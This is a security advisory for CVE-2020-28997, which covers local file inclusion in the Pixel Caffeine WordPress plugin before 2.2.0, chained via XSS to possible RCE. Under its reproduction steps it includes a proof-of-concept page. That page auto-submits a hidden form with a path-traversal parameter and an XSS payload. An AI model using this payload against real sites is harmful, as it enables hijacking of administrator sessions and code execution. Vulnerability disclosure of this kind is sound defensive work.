Disclosed vulnerabilities
Fixed: Feb 9, 2021
CVE-2020-28997 Published: Feb 9, 2021

Local File Inclusion vulnerabilities in Pixel Caffeine Wordpress plugin

8.2 High Severity LFI RCE wordpress XSS
Ron Masas Reported by Checkmarx Zero

Summary

Affected versions of Pixel Caffeine WordPress plugin are vulnerable to a Local File Inclusion in:

  • pixel-caffeineincludesadminclass-aepc-admin.php in the get_template() method.
  • pixel-caffeineincludesadminclass-aepc-admin-view.php in the get_settings() method.

By leveraging the LFI vulnerabilities into an XSS, RCE could be achieved.

Product

Pixel Caffeine WordPress plugin before version 2.2.0

Impact

Exploiting XSS on an admin in WordPress could result in RCE with editing a plugin code.

Steps to reproduce

  1. WordPress with the vulnerable plugin installed on port 8000.
  2. Admin navigates to
    <html><head></head>
    <body>
     <form style="opacity:0;"
     action="http://example.com/wp-admin/admin.php?page=aepc-settings&tab=.%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-admin%2Fadmin-ajax"
     method="POST">
         <input type="text" name="action" value="get-revision-diffs" />
         <input type="text" name="post_id" value="1" />
         <input type="text" name="compare[test]" value="<img src=v onerror=alert(1) >" />
     </form>
     <script>
         document.querySelector('form').submit();
     </script>
    </body></html>

Expected result:

Pixel Caffeine settings page will show with a javascript alert.

Remediation

Update Pixel Caffeine plugin to 2.2.0 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).

Resources

  1. Changelog

Stay connected and never miss a research update!